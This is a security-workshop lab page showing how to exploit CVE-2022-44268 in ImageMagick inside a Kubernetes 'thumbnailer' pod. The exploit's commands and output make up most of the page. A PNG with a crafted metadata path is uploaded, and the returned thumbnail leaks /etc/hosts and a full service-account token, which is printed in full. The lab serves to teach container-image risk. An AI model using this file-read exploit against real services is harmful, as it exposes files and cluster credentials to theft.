+++ title = "Step 3: Exploit a Container Vulnerability" chapter = false weight = 31 +++ ## Thumbnailer microservice Putting an application into a container does not automatically make it secure. To demonstrate the risks of a vulnerable component introduced by our container base image, we will exploit a vulnerability in the ImageMagick package present in the "thumbnailer" pod we've deployed to EKS. Thumbnailer is a microservice written in Python that simply takes an uploaded image and returns a 100x100 scaled down thumbnail version. The application leverages the ImageMagick `convert` utility to do the work. This is very convenient since the official Python open source conatiner image comes with that tool pre-installed. ## Exploit scenario We will be taking a simple png image file and making a metadata change to it and then will POST it to the Thumbnailer service. Then, we will inspect the returned image and see if any interesting information is embedded in it. The vulnerability we are targeting is [CVE-2022-44268](https://security.snyk.io/vuln/SNYK-DEBIAN11-IMAGEMAGICK-3314444) which can allow an attacker to read the contents of a files on the host system via a bug in certain versions of ImageMagick. ### Step 1: Add metadata First we will add a "TEXT" record to an existing PNG image along with the path to whatever file we are trying to read from the targeted server, the `pngcrush` utility is pre-installed in your Cloud9 environment and script has been provided to simplify it's use. The following example will set this up for the purpose of reading the `/etc/hosts` file on the target server: ```sh cd thumbnailer ./exploit.py encode k8s.png /etc/hosts ``` ... which should return: ```sh Encoding /etc/hosts into k8s.png as encoded-k8s.png ... File encoded as encoded-k8s.png ``` ### Step 2: Upload the image and get it's thumbnail back Now that we have the payload in the image, run this command to ship it up to the thumbnailer service and get back the reduced-size version: ```sh ./exploit.py upload encoded-k8s.png $THUMBNAILER_LB ``` ```sh Sending encoded-k8s.png to aa80e1805e2c74bb8ad8475ac9072698-1677396861.us-east-2.elb.amazonaws.com... Thumbnailed image received as result.png ``` ### Step 3: Decode the contents of the returned image Let's see what we can find in the image we got back from the Thumbnailer ```sh $ ./exploit.py decode result.png ``` ```sh Decoding content from /home/ec2-user/environment/goof/thumbnailer/result.png... Executing: identify -verbose /home/ec2-user/environment/goof/thumbnailer/result.png # Kubernetes-managed hosts file. 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet fe00::0 ip6-mcastprefix fe00::1 ip6-allnodes fe00::2 ip6-allrouters 192.168.110.116 thumbnailer-6bbfb9cb98-75bvx ``` That is the hosts file from the container running in our `thumbnailer` pod! ## The impact of this vulnerability The hosts file of a pod may not be very interesting on it's face, but imagine what else a clever hacker might start reading. For example, by what if we went after the serviceaccount token in the pod (which is always there by default): ```sh $ ./exploit.py encode k8s.png /var/run/secrets/kubernetes.io/serviceaccount/token Encoding /var/run/secrets/kubernetes.io/serviceaccount/token into k8s.png as encoded-k8s.png ... Executing: pngcrush -text a "profile" "/var/run/secrets/kubernetes.io/serviceaccount/token" k8s.png encoded-k8s.png File encoded as encoded-k8s.png $ ./exploit.py upload encoded-k8s.png $THUMBNAILER_LB Sending encoded-k8s.png to a77b29ff464f044a49f61e3b1ba690ab-1636326975.us-east-2.elb.amazonaws.com... Executing: curl a77b29ff464f044a49f61e3b1ba690ab-1636326975.us-east-2.elb.amazonaws.com/upload -F 'file=@encoded-k8s.png' --compressed -so result.png Thumbnailed image received as result.png $ ./exploit.py decode result.png Decoding content from /home/ec2-user/environment/goof/thumbnailer/result.png... Executing: identify -verbose /home/ec2-user/environment/goof/thumbnailer/result.png eyJhbGciOiJSUzI1NiIsImtpZCI6ImQyNTg5MzY5ZTFkNmY2NzRlYTgwNTU3YTE0MmNiYmQ2N2ViM2FhNjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjIl0sImV4cCI6MTcxNzUyMzQxMSwiaWF0IjoxNjg1OTg3NDExLCJpc3MiOiJodHRwczovL29pZGMuZWtzLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tL2lkLzk4NzdENTZCNEE0NDY5QjE5OTQ5MDVCNkM4QjFEQUU2Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJzbnlrLWF3cyIsInBvZCI6eyJuYW1lIjoidGh1bWJuYWlsZXItNmJiZmI5Y2I5OC03NWJ2eCIsInVpZCI6ImE3MjA0OTBiLWM4ZDItNDA5My1hNzI1LTU4NGY2MWI1MmQ0ZiJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjgzOGYzY2M4LWEwZjItNDU4My1hZmZjLWVkMGI0MGE5NzMzOSJ9LCJ3YXJuYWZ0ZXIiOjE2ODU5OTEwMTh9LCJuYmYiOjE2ODU5ODc0MTEsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpzbnlrLWF3czpkZWZhdWx0In0.H21Ln1B_nQ-zohoNJuBXnfyg-kN-phiAV9CohV1MLglxUlCXSaLfD6cdQ8qpDv61H_QMSq_XrVsj3Ixad_-OXJE5JzZzjKXM0VKNHLE8JricNRlZ6egJiO2MchozFeEXYIhD6G-4sCnxFatlI54iUIIrDo6QKKt2SsenEHZ6mHWKDLUdqAuw-yflnZSZsuF2jp8G574_ojhq2Qv19eqd6NLfHSiOJ4tfw5Avw_vBno-9-veRLhR7ZN5Qzy8GVofniiQcdItKwVWvCvkkoXQQrk5eueGM0MhQGwgUVa54ywzST0lBVDR7FjyhYVZylt_AfgR_GsZ_BpDEImglW2v--w ``` That, my friend, is a credential that could be used in an attempt to expand an attack against your Kubernetes api server! ## Not the application's fault The part of this example that developers, in particular, find most disturbing, is that the vulnerability is not nessesarily something wrong in the application code nor the libraries being pulled in. In this example, the vulnerabiltiy is in an operating system bundled package that came along for the ride in the base image chosen. ## Next step Continue to the next step to learn how to identify these, and other, vulnerabilities in your container images that are introduced by your container base image.